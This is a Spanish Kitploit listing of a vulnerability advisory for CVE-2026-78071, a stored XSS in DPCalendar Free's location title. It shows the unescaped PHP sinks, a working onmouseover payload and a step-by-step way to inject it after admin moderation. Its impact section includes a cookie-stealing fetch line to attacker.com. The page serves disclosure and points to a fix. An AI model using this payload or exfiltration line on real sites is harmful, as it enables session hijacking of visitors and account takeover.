Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-78071 — XSS almacenado a través del título de ubicación en DPCalendar Free | Kitploit
Herramientas/GitHubGitHub/toanln-cov/cve-2026-78071
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebSeguridad Web
GitHubtoanln-cov/cve-2026-78071

CVE-2026-78071

XSS almacenado a través del título de ubicación en DPCalendar Free

Ver Repositorio
hace 11h 41mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

XSS Almacenado mediante el Título de Ubicación en DPCalendar Free

DPCalendar Free ≤ 10.11.2 — Un Usuario con Rol de Autor Omite la Revisión de Contenido para Inyectar XSS Persistente mediante el Título de Ubicación, Activado al Pasar el Cursor por Cualquier Visitante

CVE CVSS CWE-79 Affected Researcher


RESUMEN

El campo $location->title se renderiza sin htmlspecialchars() en default_locations.php. El InputFilter::clean() del lado del servidor de Joomla elimina y de los campos de texto, pero permite , lo que permite a un usuario con rol de Autor salir del contexto de un atributo HTML. Cuando cualquier visitante pasa el cursor sobre la sección de Información de Ubicación de una página de evento, el controlador inyectado ejecuta JavaScript arbitrario en su sesión de navegador.

<
>
"
onmouseover

Un segundo defecto de diseño amplifica el impacto: EventController::allowEdit() solo verifica created_by == current_user — no verifica el estado de publicación del evento. Un Autor puede crear un evento benigno, hacer que un administrador lo publique y luego, silenciosamente, armar la ubicación vinculada editando su título después de la publicación, omitiendo por completo la revisión de contenido. La carga útil XSS se inserta después de la moderación; los administradores nunca la ven durante su ciclo de revisión.


VERSIONES AFECTADAS

COMPONENTEVULNERABLEPROBADO ENCORREGIDO
DPCalendar Free≤ 10.11.2Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache)10.12.0

DETALLES DE LA VULNERABILIDAD

Tipo: Cross-Site Scripting Almacenado / Codificación de Salida Incorrecta (CWE-79) Autenticación requerida: Rol de Autor — usuario de frontend (grupo 4 de Joomla, mínimo para crear eventos) Archivo: site/tmpl/event/default_locations.php

Causa Raíz

$location->title se imprime directamente — sin htmlspecialchars() — en dos contextos de salida en default_locations.php. El contexto de atributo es el sumidero explotable a través de la interfaz web, ya que el InputFilter de Joomla bloquea <> pero permite " sin alteraciones.

DEFAULT_LOCATIONS.PHP — SUMIDEROS DE SALIDA VULNERABLES

root@kitploit:~
// Sumidero 1 — contenido de texto (inyección HTML; <> eliminado por InputFilter vía interfaz web)
<span class="dp-location__title"><?php echo $location->title; ?></span>

// Sumidero 2 — atributo HTML (inyección de atributo; " pasa a través de InputFilter)
<div class="dp-location__details"
     data-title="<?php echo $location->title; ?>"

Un valor de título como New Location" onmouseover="alert(document.domain) se almacena intacto por el servidor. En la salida, el Sumidero 2 se renderiza como:

root@kitploit:~
<div class="dp-location__details"
     data-title="New Location" onmouseover="alert(document.domain)"

El atributo onmouseover se convierte en un controlador de eventos activo en el DOM renderizado.

Verificación de Estado de Publicación Ausente

EventController::allowEdit() otorga acceso de edición a cualquier Autor para sus propios eventos, independientemente del estado de publicación. Un atacante establece confianza enviando un evento normal para revisión del administrador y luego — después de la publicación por parte del administrador — edita silenciosamente la ubicación vinculada para inyectar la carga útil XSS:

SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() SIN VERIFICACIÓN DE ESTADO

root@kitploit:~
protected function allowEdit($data = [], $key = 'id')
{
    // ...
    return $calendar instanceof CalendarInterface &&
           ($calendar->canEdit() ||
            ($calendar->canEditOwn() &&
             $event->created_by == $this->getCurrentUser()->id));
    // ↑ Sin verificación de $event->state — los eventos publicados siguen siendo editables por el Autor
}

PRUEBA DE CONCEPTO

1. Iniciar sesión como usuario con rol de Autor

Navegue al formulario de inicio de sesión del frontend e inicie sesión con una cuenta de Autor (grupo 4 de Joomla — mínimo requerido para crear eventos y ubicaciones).

Paso 1 — Iniciar sesión como Autor

2. Crear un evento normal con una ubicación legítima

Navegue a /index.php?option=com_dpcalendar&view=form. Cree un evento con un título limpio y adjunte cualquier ubicación existente (por ejemplo, "Greater London"). Esto establece la legitimidad del Autor antes de introducir la carga útil.

Paso 2 — Crear formulario de evento benigno

Paso 3 — Adjuntar ubicación legítima antes de guardar

3. Esperar a que un administrador publique el evento

El evento se envía para revisión. Un administrador inicia sesión y lo publica desde el backend de DPCalendar. El evento ahora está activo y visible para todos los visitantes del sitio.

Paso 4 — El administrador publica el evento

4. Volver al evento publicado y abrir la ubicación para edición

Como Autor, navegue a la página del evento publicado. El botón Editar Evento permanece visible — allowEdit() no verifica el estado de publicación. Haga clic en Editar Evento, vaya a la pestaña Ubicación y haga clic en el ícono de lápiz para abrir locationform.

Paso 5 — El ícono de edición sigue disponible después de la publicación del administrador

5. Inyectar la carga útil XSS en el campo de título de Ubicación

Reemplace el nombre de la ubicación con la carga útil. El InputFilter de Joomla permite " — la carga útil se guarda intacta y rompe el contexto del atributo HTML en la salida:

CARGA ÚTIL — CAMPO DE TÍTULO (LOCATIONFORM)

root@kitploit:~
New Location" onmouseover="alert(document.domain)

Paso 6 — Inyectar carga útil XSS en el campo de título de ubicación

Haga clic en Guardar.

6. Cualquier visitante de la página del evento activa XSS al pasar el cursor

Cuando cualquier usuario — autenticado o anónimo — visita la página de detalles del evento y mueve su cursor sobre la sección de Información de Ubicación, el controlador onmouseover inyectado se activa inmediatamente. No se requiere autenticación, clic ni interacción adicional más allá de visitar la página.

Paso 7 — XSS se activa al pasar el cursor

La carga útil cruda es visible en la sección de Ubicación de la página del evento — el título sin escapar se renderiza como un atributo HTML activo:

Paso 8 — Página del evento mostrando la carga útil sin escapar en el DOM

Pasar el cursor sobre la sección de Ubicación activa el diálogo de alerta en el navegador del visitante anónimo:

Paso 9 — Diálogo de alerta XSS activado para visitante anónimo


IMPACTO

  1. Secuestro de sesión — El controlador inyectado puede exfiltrar la cookie de sesión de la víctima mediante fetch('//attacker.com/?c='+document.cookie), otorgando la toma completa de la cuenta para cualquier rol que vea el evento.

  2. Superficie de ataque persistente y limitada al evento — La carga útil persiste hasta que el título de la ubicación se corrija manualmente. Cada usuario que visita la página del evento — incluidos los visitantes anónimos — está expuesto. Los eventos de alto tráfico (conferencias públicas, páginas de reservas) multiplican el número de víctimas.

  3. Omisión de confianza posterior a la publicación — Debido a que el Autor puede modificar silenciosamente la ubicación después de la aprobación del administrador, la carga útil nunca se ve durante la revisión de contenido. El evento benigno pasa la moderación; el XSS se inserta después.


REFERENCIAS

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-78071
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78071
  • Aviso de GitHub: https://github.com/advisories/GHSA-32gf-548r-6r9c
  • Repositorio del proveedor: https://github.com/Digital-Peak/DPCalendar-Free
Descargar herramienta